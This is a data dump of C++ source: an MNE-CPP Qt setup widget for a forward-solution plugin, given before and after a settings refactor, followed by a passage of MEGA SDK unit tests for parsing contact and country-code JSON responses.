{"text":"\/\/=============================================================================================================\n\/**\n * @file rtfwdsetupwidget.cpp\n * @author Ruben Dörfel \n * @since 0.1.0\n * @date May, 2020\n *\n * @section LICENSE\n *\n * Copyright (C) 2020, Ruben Dörfel. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n * the following conditions are met:\n * * Redistributions of source code must retain the above copyright notice, this list of conditions and the\n * following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n * the following disclaimer in the documentation and\/or other materials provided with the distribution.\n * * Neither the name of MNE-CPP authors nor the names of its contributors may be used\n * to endorse or promote products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n *\n * @brief Definition of the RtFwdSetupWidget class.\n *\n *\/\n\n\/\/=============================================================================================================\n\/\/ INCLUDES\n\/\/=============================================================================================================\n\n#include \"rtfwdsetupwidget.h\"\n\n\/\/=============================================================================================================\n\/\/ QT INCLUDES\n\/\/=============================================================================================================\n\n#include \n\n\/\/=============================================================================================================\n\/\/ USED NAMESPACES\n\/\/=============================================================================================================\n\nusing namespace RTFWDPLUGIN;\n\n\/\/=============================================================================================================\n\/\/ DEFINE MEMBER METHODS\n\/\/=============================================================================================================\n\nRtFwdSetupWidget::RtFwdSetupWidget(RtFwd* toolbox, QWidget *parent)\n: QWidget(parent)\n, m_pRtFwd(toolbox)\n{\n m_ui.setupUi(this);\n\n \/\/ init line edits\n m_ui.m_qLineEdit_SolName->setText(m_pRtFwd->m_sSolName);\n m_ui.m_qLineEdit_BemName->setText(m_pRtFwd->m_sBemName);\n m_ui.m_qLineEdit_SourceName->setText(m_pRtFwd->m_sSourceName);\n m_ui.m_qLineEdit_MriName->setText(m_pRtFwd->m_sMriName);\n m_ui.m_qLineEdit_MinDistName->setText(m_pRtFwd->m_sMinDistOutName);\n m_ui.m_qLineEdit_EEGModelFile->setText(m_pRtFwd->m_sEegModelFile);\n m_ui.m_qLineEdit_EEGModelName->setText(m_pRtFwd->m_sEegModelName);\n\n \/\/ init checkboxes\n m_ui.m_check_bDoAll->setChecked(m_pRtFwd->m_bDoAll);\n m_ui.m_check_bIncludeEEG->setChecked(m_pRtFwd->m_bIncludeEEG);\n m_ui.m_check_bIncludeMeg->setChecked(m_pRtFwd->m_bIncludeMEG);\n m_ui.m_check_bComputeGrad->setChecked(m_pRtFwd->m_bComputeGrad);\n m_ui.m_check_bAccurate->setChecked(m_pRtFwd->m_bAccurate);\n m_ui.m_check_bDoAll->setChecked(m_pRtFwd->m_bDoAll);\n m_ui.m_check_bFixedOri->setChecked(m_pRtFwd->m_bFixedOri);\n m_ui.m_check_bFilterSpaces->setChecked(m_pRtFwd->m_bFilterSpaces);\n m_ui.m_check_bMriHeadIdent->setChecked(m_pRtFwd->m_bMriHeadIdent);\n m_ui.m_check_bUseThreads->setChecked(m_pRtFwd->m_bUseThreads);\n m_ui.m_check_bUseEquivEeg->setChecked(m_pRtFwd->m_bUseEquivEeg);\n\n \/\/ init Spin Boxes\n m_ui.m_doubleSpinBox_dMinDist->setValue(m_pRtFwd->m_fMinDist);\n m_ui.m_doubleSpinBox_dEegSphereRad->setValue(m_pRtFwd->m_fEegSphereRad);\n m_ui.m_doubleSpinBox_dVecR0x->setValue(m_pRtFwd->m_vecR0.x());\n m_ui.m_doubleSpinBox_dVecR0y->setValue(m_pRtFwd->m_vecR0.y());\n m_ui.m_doubleSpinBox_dVecR0z->setValue(m_pRtFwd->m_vecR0.z());\n\n \/\/ connec line edits\n connect(m_ui.m_qLineEdit_SolName, &QLineEdit::textChanged, this, &RtFwdSetupWidget::changeSolName);\n connect(m_ui.m_qLineEdit_MinDistName, &QLineEdit::textChanged, this, &RtFwdSetupWidget::changeMinDistName);\n\n \/\/ connec spin boxes\n connect(m_ui.m_doubleSpinBox_dMinDist,static_cast(&QDoubleSpinBox::valueChanged), this, &RtFwdSetupWidget::changeMinDist);\n connect(m_ui.m_doubleSpinBox_dEegSphereRad, static_cast(&QDoubleSpinBox::valueChanged), this, &RtFwdSetupWidget::changeEEGSphereRad);\n connect(m_ui.m_doubleSpinBox_dVecR0x, static_cast(&QDoubleSpinBox::valueChanged), this, &RtFwdSetupWidget::changeEEGSphereOrigin);\n connect(m_ui.m_doubleSpinBox_dVecR0y, static_cast(&QDoubleSpinBox::valueChanged), this, &RtFwdSetupWidget::changeEEGSphereOrigin);\n connect(m_ui.m_doubleSpinBox_dVecR0z, static_cast(&QDoubleSpinBox::valueChanged), this, &RtFwdSetupWidget::changeEEGSphereOrigin);\n\n \/\/ connet Bushbuttons\n connect(m_ui.m_qPushButton_SolNameDialog, &QPushButton::released, this, &RtFwdSetupWidget::showFwdDirDialog);\n connect(m_ui.m_qPushButton_BemNameDialog, &QPushButton::released, this, &RtFwdSetupWidget::showBemFileDialog);\n connect(m_ui.m_qPushButton_SourceNameDialog, &QPushButton::released, this, &RtFwdSetupWidget::showSourceFileDialog);\n connect(m_ui.m_qPushButton_MriNameDialog, &QPushButton::released, this, &RtFwdSetupWidget::showMriFileDialog);\n connect(m_ui.m_qPushButton_MinDistOutDialog, &QPushButton::released, this, &RtFwdSetupWidget::showMinDistDirDialog);\n connect(m_ui.m_qPushButton_EEGModelFileDialog, &QPushButton::released, this, &RtFwdSetupWidget::showEEGModelFileDialog);\n connect(m_ui.m_qPushButton_EEGModelNameDialog, &QPushButton::released, this, &RtFwdSetupWidget::showEEGModelNameDialog);\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showFwdDirDialog()\n{\n m_sSolDir = QFileDialog::getExistingDirectory(this,\n tr(\"Select Directory to store the forward solution\"),\n QString(),\n QFileDialog::ShowDirsOnly\n | QFileDialog::DontResolveSymlinks);\n\n QString t_sFileName = m_ui.m_qLineEdit_SolName->text();\n m_pRtFwd->m_sSolName = m_sSolDir + \"\/\" + t_sFileName;\n qDebug() << m_pRtFwd->m_sSolName;\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::changeSolName()\n{\n QString t_sFileName = m_ui.m_qLineEdit_SolName->text();\n m_pRtFwd->m_sSolName = m_sSolDir + \"\/\" + t_sFileName;\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showSourceFileDialog()\n{\n QString t_sFileName = QFileDialog::getOpenFileName(this,\n tr(\"Select Source Space\"),\n QString(),\n tr(\"Fif Files (*.fif)\"));\n\n m_pRtFwd->m_sSourceName = t_sFileName;\n m_ui.m_qLineEdit_SourceName->setText(t_sFileName);\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showBemFileDialog()\n{\n QString t_sFileName = QFileDialog::getOpenFileName(this,\n tr(\"Select Bem Model\"),\n QString(),\n tr(\"Fif Files (*.fif)\"));\n\n m_pRtFwd->m_sBemName = t_sFileName;\n m_ui.m_qLineEdit_BemName->setText(t_sFileName);\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showMriFileDialog()\n{\n QString t_sFileName = QFileDialog::getOpenFileName(this,\n tr(\"Select Mri-Head Transformation\"),\n QString(),\n tr(\"Fif Files (*.fif)\"));\n\n m_pRtFwd->m_sMriName = t_sFileName;\n m_ui.m_qLineEdit_MriName->setText(t_sFileName);\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showEEGModelFileDialog()\n{\n QString t_sFileName = QFileDialog::getOpenFileName(this,\n tr(\"Select EEG model\"),\n QString(),\n tr(\"Fif Files (*.fif)\"));\n\n m_pRtFwd->m_sEegModelFile = t_sFileName;\n m_ui.m_qLineEdit_EEGModelFile->setText(t_sFileName);\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showEEGModelNameDialog()\n{\n QString t_sFileName = QFileDialog::getOpenFileName(this,\n tr(\"Select EEG model name\"),\n QString(),\n tr(\"Fif Files (*.fif)\"));\n\n m_pRtFwd->m_sEegModelName = t_sFileName;\n m_ui.m_qLineEdit_EEGModelName->setText(t_sFileName);\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showMinDistDirDialog()\n{\n m_sMinDistDir = QFileDialog::getExistingDirectory(this,\n tr(\"Select output for omitted source space\"),\n QString(),\n QFileDialog::ShowDirsOnly\n | QFileDialog::DontResolveSymlinks);\n\n QString t_sFileName = m_ui.m_qLineEdit_MinDistName->text();\n m_pRtFwd->m_sMinDistOutName = m_sMinDistDir + \"\/\" + t_sFileName;\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::changeMinDistName()\n{\n QString t_sFileName = m_ui.m_qLineEdit_MinDistName->text();\n m_pRtFwd->m_sMinDistOutName = m_sMinDistDir + \"\/\" + t_sFileName;\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::changeMinDist()\n{\n m_pRtFwd->m_fMinDist = m_ui.m_doubleSpinBox_dMinDist->value();\n}\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::changeEEGSphereRad()\n{\n m_pRtFwd->m_fEegSphereRad = m_ui.m_doubleSpinBox_dEegSphereRad->value();\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::changeEEGSphereOrigin()\n{\n m_pRtFwd->m_vecR0.x() = m_ui.m_doubleSpinBox_dVecR0x->value();\n m_pRtFwd->m_vecR0.y() = m_ui.m_doubleSpinBox_dVecR0y->value();\n m_pRtFwd->m_vecR0.z() = m_ui.m_doubleSpinBox_dVecR0z->value();\n std::cout << m_pRtFwd->m_vecR0 << std::endl;\n}\n\/\/=============================================================================================================\n\nRtFwdSetupWidget::~RtFwdSetupWidget()\n{\n}\nMAINT: replace write values dirctly to m_pSettings\/\/=============================================================================================================\n\/**\n * @file rtfwdsetupwidget.cpp\n * @author Ruben Dörfel \n * @since 0.1.0\n * @date May, 2020\n *\n * @section LICENSE\n *\n * Copyright (C) 2020, Ruben Dörfel. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n * the following conditions are met:\n * * Redistributions of source code must retain the above copyright notice, this list of conditions and the\n * following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n * the following disclaimer in the documentation and\/or other materials provided with the distribution.\n * * Neither the name of MNE-CPP authors nor the names of its contributors may be used\n * to endorse or promote products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n *\n * @brief Definition of the RtFwdSetupWidget class.\n *\n *\/\n\n\/\/=============================================================================================================\n\/\/ INCLUDES\n\/\/=============================================================================================================\n\n#include \"rtfwdsetupwidget.h\"\n\n\/\/=============================================================================================================\n\/\/ QT INCLUDES\n\/\/=============================================================================================================\n\n#include \n\n\/\/=============================================================================================================\n\/\/ USED NAMESPACES\n\/\/=============================================================================================================\n\nusing namespace RTFWDPLUGIN;\n\n\/\/=============================================================================================================\n\/\/ DEFINE MEMBER METHODS\n\/\/=============================================================================================================\n\nRtFwdSetupWidget::RtFwdSetupWidget(RtFwd* toolbox, QWidget *parent)\n: QWidget(parent)\n, m_pRtFwd(toolbox)\n{\n m_ui.setupUi(this);\n\n \/\/ init line edits\n m_ui.m_qLineEdit_SolName->setText(m_pRtFwd->m_pFwdSettings->solname);\n m_ui.m_qLineEdit_BemName->setText(m_pRtFwd->m_pFwdSettings->bemname);\n m_ui.m_qLineEdit_SourceName->setText(m_pRtFwd->m_pFwdSettings->srcname);\n m_ui.m_qLineEdit_MriName->setText(m_pRtFwd->m_pFwdSettings->mriname);\n m_ui.m_qLineEdit_MinDistName->setText(m_pRtFwd->m_pFwdSettings->mindistoutname);\n m_ui.m_qLineEdit_EEGModelFile->setText(m_pRtFwd->m_pFwdSettings->eeg_model_file);\n m_ui.m_qLineEdit_EEGModelName->setText(m_pRtFwd->m_pFwdSettings->eeg_model_name);\n\n \/\/ init checkboxes\n m_ui.m_check_bDoAll->setChecked(m_pRtFwd->m_pFwdSettings->do_all);\n m_ui.m_check_bIncludeEEG->setChecked(m_pRtFwd->m_pFwdSettings->include_eeg);\n m_ui.m_check_bIncludeMeg->setChecked(m_pRtFwd->m_pFwdSettings->include_meg);\n m_ui.m_check_bComputeGrad->setChecked(m_pRtFwd->m_pFwdSettings->compute_grad);\n m_ui.m_check_bAccurate->setChecked(m_pRtFwd->m_pFwdSettings->accurate);\n m_ui.m_check_bFixedOri->setChecked(m_pRtFwd->m_pFwdSettings->fixed_ori);\n m_ui.m_check_bFilterSpaces->setChecked(m_pRtFwd->m_pFwdSettings->filter_spaces);\n m_ui.m_check_bMriHeadIdent->setChecked(m_pRtFwd->m_pFwdSettings->mri_head_ident);\n m_ui.m_check_bUseThreads->setChecked(m_pRtFwd->m_pFwdSettings->use_threads);\n m_ui.m_check_bUseEquivEeg->setChecked(m_pRtFwd->m_pFwdSettings->use_equiv_eeg);\n\n \/\/ init Spin Boxes\n m_ui.m_doubleSpinBox_dMinDist->setValue(m_pRtFwd->m_pFwdSettings->mindist);\n m_ui.m_doubleSpinBox_dEegSphereRad->setValue(m_pRtFwd->m_pFwdSettings->eeg_sphere_rad);\n m_ui.m_doubleSpinBox_dVecR0x->setValue(m_pRtFwd->m_pFwdSettings->r0.x());\n m_ui.m_doubleSpinBox_dVecR0y->setValue(m_pRtFwd->m_pFwdSettings->r0.y());\n m_ui.m_doubleSpinBox_dVecR0z->setValue(m_pRtFwd->m_pFwdSettings->r0.z());\n\n \/\/ connec line edits\n connect(m_ui.m_qLineEdit_SolName, &QLineEdit::textChanged, this, &RtFwdSetupWidget::changeSolName);\n connect(m_ui.m_qLineEdit_MinDistName, &QLineEdit::textChanged, this, &RtFwdSetupWidget::changeMinDistName);\n\n \/\/ connec spin boxes\n connect(m_ui.m_doubleSpinBox_dMinDist,static_cast(&QDoubleSpinBox::valueChanged), this, &RtFwdSetupWidget::changeMinDist);\n connect(m_ui.m_doubleSpinBox_dEegSphereRad, static_cast(&QDoubleSpinBox::valueChanged), this, &RtFwdSetupWidget::changeEEGSphereRad);\n connect(m_ui.m_doubleSpinBox_dVecR0x, static_cast(&QDoubleSpinBox::valueChanged), this, &RtFwdSetupWidget::changeEEGSphereOrigin);\n connect(m_ui.m_doubleSpinBox_dVecR0y, static_cast(&QDoubleSpinBox::valueChanged), this, &RtFwdSetupWidget::changeEEGSphereOrigin);\n connect(m_ui.m_doubleSpinBox_dVecR0z, static_cast(&QDoubleSpinBox::valueChanged), this, &RtFwdSetupWidget::changeEEGSphereOrigin);\n\n \/\/ connet Bushbuttons\n connect(m_ui.m_qPushButton_SolNameDialog, &QPushButton::released, this, &RtFwdSetupWidget::showFwdDirDialog);\n connect(m_ui.m_qPushButton_BemNameDialog, &QPushButton::released, this, &RtFwdSetupWidget::showBemFileDialog);\n connect(m_ui.m_qPushButton_SourceNameDialog, &QPushButton::released, this, &RtFwdSetupWidget::showSourceFileDialog);\n connect(m_ui.m_qPushButton_MriNameDialog, &QPushButton::released, this, &RtFwdSetupWidget::showMriFileDialog);\n connect(m_ui.m_qPushButton_MinDistOutDialog, &QPushButton::released, this, &RtFwdSetupWidget::showMinDistDirDialog);\n connect(m_ui.m_qPushButton_EEGModelFileDialog, &QPushButton::released, this, &RtFwdSetupWidget::showEEGModelFileDialog);\n connect(m_ui.m_qPushButton_EEGModelNameDialog, &QPushButton::released, this, &RtFwdSetupWidget::showEEGModelNameDialog);\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showFwdDirDialog()\n{\n m_sSolDir = QFileDialog::getExistingDirectory(this,\n tr(\"Select Directory to store the forward solution\"),\n QString(),\n QFileDialog::ShowDirsOnly\n | QFileDialog::DontResolveSymlinks);\n\n QString t_sFileName = m_ui.m_qLineEdit_SolName->text();\n m_pRtFwd->m_pFwdSettings->solname = m_sSolDir + \"\/\" + t_sFileName;\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::changeSolName()\n{\n QString t_sFileName = m_ui.m_qLineEdit_SolName->text();\n m_pRtFwd->m_pFwdSettings->solname = m_sSolDir + \"\/\" + t_sFileName;\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showSourceFileDialog()\n{\n QString t_sFileName = QFileDialog::getOpenFileName(this,\n tr(\"Select Source Space\"),\n QString(),\n tr(\"Fif Files (*.fif)\"));\n\n m_pRtFwd->m_pFwdSettings->srcname = t_sFileName;\n m_ui.m_qLineEdit_SourceName->setText(t_sFileName);\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showBemFileDialog()\n{\n QString t_sFileName = QFileDialog::getOpenFileName(this,\n tr(\"Select Bem Model\"),\n QString(),\n tr(\"Fif Files (*.fif)\"));\n\n m_pRtFwd->m_pFwdSettings->bemname = t_sFileName;\n m_ui.m_qLineEdit_BemName->setText(t_sFileName);\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showMriFileDialog()\n{\n QString t_sFileName = QFileDialog::getOpenFileName(this,\n tr(\"Select Mri-Head Transformation\"),\n QString(),\n tr(\"Fif Files (*.fif)\"));\n\n m_pRtFwd->m_pFwdSettings->mriname = t_sFileName;\n m_ui.m_qLineEdit_MriName->setText(t_sFileName);\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showEEGModelFileDialog()\n{\n QString t_sFileName = QFileDialog::getOpenFileName(this,\n tr(\"Select EEG model\"),\n QString(),\n tr(\"Fif Files (*.fif)\"));\n\n m_pRtFwd->m_pFwdSettings->eeg_model_file = t_sFileName;\n m_ui.m_qLineEdit_EEGModelFile->setText(t_sFileName);\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showEEGModelNameDialog()\n{\n QString t_sFileName = QFileDialog::getOpenFileName(this,\n tr(\"Select EEG model name\"),\n QString(),\n tr(\"Fif Files (*.fif)\"));\n\n m_pRtFwd->m_pFwdSettings->eeg_model_name = t_sFileName;\n m_ui.m_qLineEdit_EEGModelName->setText(t_sFileName);\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::showMinDistDirDialog()\n{\n m_sMinDistDir = QFileDialog::getExistingDirectory(this,\n tr(\"Select output for omitted source space\"),\n QString(),\n QFileDialog::ShowDirsOnly\n | QFileDialog::DontResolveSymlinks);\n\n QString t_sFileName = m_ui.m_qLineEdit_MinDistName->text();\n m_pRtFwd->m_pFwdSettings->mindistoutname = m_sMinDistDir + \"\/\" + t_sFileName;\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::changeMinDistName()\n{\n QString t_sFileName = m_ui.m_qLineEdit_MinDistName->text();\n m_pRtFwd->m_pFwdSettings->mindistoutname = m_sMinDistDir + \"\/\" + t_sFileName;\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::changeMinDist()\n{\n m_pRtFwd->m_pFwdSettings->mindist = m_ui.m_doubleSpinBox_dMinDist->value();\n}\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::changeEEGSphereRad()\n{\n m_pRtFwd->m_pFwdSettings->eeg_sphere_rad = m_ui.m_doubleSpinBox_dEegSphereRad->value();\n}\n\n\/\/=============================================================================================================\n\nvoid RtFwdSetupWidget::changeEEGSphereOrigin()\n{\n m_pRtFwd->m_pFwdSettings->r0.x() = m_ui.m_doubleSpinBox_dVecR0x->value();\n m_pRtFwd->m_pFwdSettings->r0.y() = m_ui.m_doubleSpinBox_dVecR0y->value();\n m_pRtFwd->m_pFwdSettings->r0.z() = m_ui.m_doubleSpinBox_dVecR0z->value();\n std::cout << m_pRtFwd->m_vecR0 << std::endl;\n}\n\/\/=============================================================================================================\n\nRtFwdSetupWidget::~RtFwdSetupWidget()\n{\n}\n<|endoftext|>"} {"text":"\/**\n * (c) 2019 by Mega Limited, Wellsford, New Zealand\n *\n * This file is part of the MEGA SDK - Client Access Engine.\n *\n * Applications using the MEGA API must present a valid application key\n * and comply with the the rules set forth in the Terms of Service.\n *\n * The MEGA SDK is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n *\n * @copyright Simplified (2-clause) BSD License.\n *\n * You should have received a copy of the license along with this\n * program.\n *\/\n\n#include \n\n#include \n\n#include \n#include \n#include \n#include \n#include \n\nusing namespace std;\nusing namespace mega;\n\nnamespace {\n\nclass MockApp_CommandGetRegisteredContacts : public MegaApp\n{\npublic:\n using DataType = vector>;\n\n int mCallCount = 0;\n ErrorCodes mLastError = ErrorCodes::API_EINTERNAL;\n std::unique_ptr mRegisteredContacts;\n\n void getregisteredcontacts_result(const ErrorCodes e, DataType* const data) override\n {\n ++mCallCount;\n mLastError = e;\n if (data)\n {\n mRegisteredContacts = std::unique_ptr{new DataType{*data}};\n }\n else\n {\n assert(e != ErrorCodes::API_OK);\n }\n }\n};\n\n} \/\/ anonymous\n\nTEST(Commands, CommandGetRegisteredContacts_processResult_happyPath)\n{\n MockApp_CommandGetRegisteredContacts app;\n\n JSON json;\n json.pos = R\"({\"eud\":\"foo@mega.co.nz\",\"id\":\"13\",\"ud\":\"foo@mega.co.nz\"},{\"eud\":\"+64271234567\",\"id\":\"42\",\"ud\":\"+64 27 123 4567\"})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetRegisteredContacts::processResult(app, json);\n\n const vector> expected{\n {\"foo@mega.co.nz\", \"13\", \"foo@mega.co.nz\"},\n {\"+64271234567\", \"42\", \"+64 27 123 4567\"},\n };\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_OK, app.mLastError);\n ASSERT_NE(nullptr, app.mRegisteredContacts);\n ASSERT_EQ(expected, *app.mRegisteredContacts);\n ASSERT_EQ((long)jsonLength, std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetRegisteredContacts_processResult_onlyOneContact)\n{\n MockApp_CommandGetRegisteredContacts app;\n\n JSON json;\n json.pos = R\"({\"eud\":\"foo@mega.co.nz\",\"id\":\"13\",\"ud\":\"foo@mega.co.nz\"})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetRegisteredContacts::processResult(app, json);\n\n const vector> expected{\n {\"foo@mega.co.nz\", \"13\", \"foo@mega.co.nz\"},\n };\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_OK, app.mLastError);\n ASSERT_NE(nullptr, app.mRegisteredContacts);\n ASSERT_EQ(expected, *app.mRegisteredContacts);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetRegisteredContacts_processResult_extraFieldShouldBeIgnored)\n{\n MockApp_CommandGetRegisteredContacts app;\n\n JSON json;\n json.pos = R\"({\"eud\":\"foo@mega.co.nz\",\"id\":\"13\",\"ud\":\"foo@mega.co.nz\",\"blah\":\"42\"})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetRegisteredContacts::processResult(app, json);\n\n const vector> expected{\n {\"foo@mega.co.nz\", \"13\", \"foo@mega.co.nz\"},\n };\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_OK, app.mLastError);\n ASSERT_NE(nullptr, app.mRegisteredContacts);\n ASSERT_EQ(expected, *app.mRegisteredContacts);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetRegisteredContacts_processResult_invalidResponse)\n{\n MockApp_CommandGetRegisteredContacts app;\n\n JSON json;\n json.pos = R\"({\"eud\":\"foo@mega.co.nz\",\"id\":\"13\",\"blah\":\"foo@mega.co.nz\"})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetRegisteredContacts::processResult(app, json);\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_EINTERNAL, app.mLastError);\n ASSERT_EQ(nullptr, app.mRegisteredContacts);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetRegisteredContacts_processResult_errorCodeReceived)\n{\n MockApp_CommandGetRegisteredContacts app;\n\n JSON json;\n json.pos = \"-8\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetRegisteredContacts::processResult(app, json);\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_EEXPIRED, app.mLastError);\n ASSERT_EQ(nullptr, app.mRegisteredContacts);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nnamespace {\n\nclass MockApp_CommandGetCountryCallingCodes : public MegaApp\n{\npublic:\n using DataType = map>;\n\n int mCallCount = 0;\n ErrorCodes mLastError = ErrorCodes::API_EINTERNAL;\n std::unique_ptr mCountryCallingCodes;\n\n void getcountrycallingcodes_result(const ErrorCodes e, DataType* const data) override\n {\n ++mCallCount;\n mLastError = e;\n if (data)\n {\n mCountryCallingCodes = std::unique_ptr{new DataType{*data}};\n }\n else\n {\n assert(e != ErrorCodes::API_OK);\n }\n }\n};\n\n} \/\/ anonymous\n\nTEST(Commands, CommandGetCountryCallingCodes_processResult_happyPath)\n{\n MockApp_CommandGetCountryCallingCodes app;\n\n JSON json;\n json.pos = R\"({\"cc\":\"AD\",\"l\":[376]},{\"cc\":\"AE\",\"l\":[971,13]},{\"cc\":\"AF\",\"l\":[93,13,42]})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetCountryCallingCodes::processResult(app, json);\n\n const map> expected{\n {\"AD\", {\"376\"}},\n {\"AE\", {\"971\", \"13\"}},\n {\"AF\", {\"93\", \"13\", \"42\"}},\n };\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_OK, app.mLastError);\n ASSERT_NE(nullptr, app.mCountryCallingCodes);\n ASSERT_EQ(expected, *app.mCountryCallingCodes);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetCountryCallingCodes_processResult_onlyOneCountry)\n{\n MockApp_CommandGetCountryCallingCodes app;\n\n JSON json;\n json.pos = R\"({\"cc\":\"AD\",\"l\":[12,376]})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetCountryCallingCodes::processResult(app, json);\n\n const map> expected{\n {\"AD\", {\"12\", \"376\"}},\n };\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_OK, app.mLastError);\n ASSERT_NE(nullptr, app.mCountryCallingCodes);\n ASSERT_EQ(expected, *app.mCountryCallingCodes);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetCountryCallingCodes_processResult_extraFieldShouldBeIgnored)\n{\n MockApp_CommandGetCountryCallingCodes app;\n\n JSON json;\n json.pos = R\"({\"cc\":\"AD\",\"l\":[12,376],\"blah\":\"42\"})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetCountryCallingCodes::processResult(app, json);\n\n const map> expected{\n {\"AD\", {\"12\", \"376\"}},\n };\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_OK, app.mLastError);\n ASSERT_NE(nullptr, app.mCountryCallingCodes);\n ASSERT_EQ(expected, *app.mCountryCallingCodes);\n 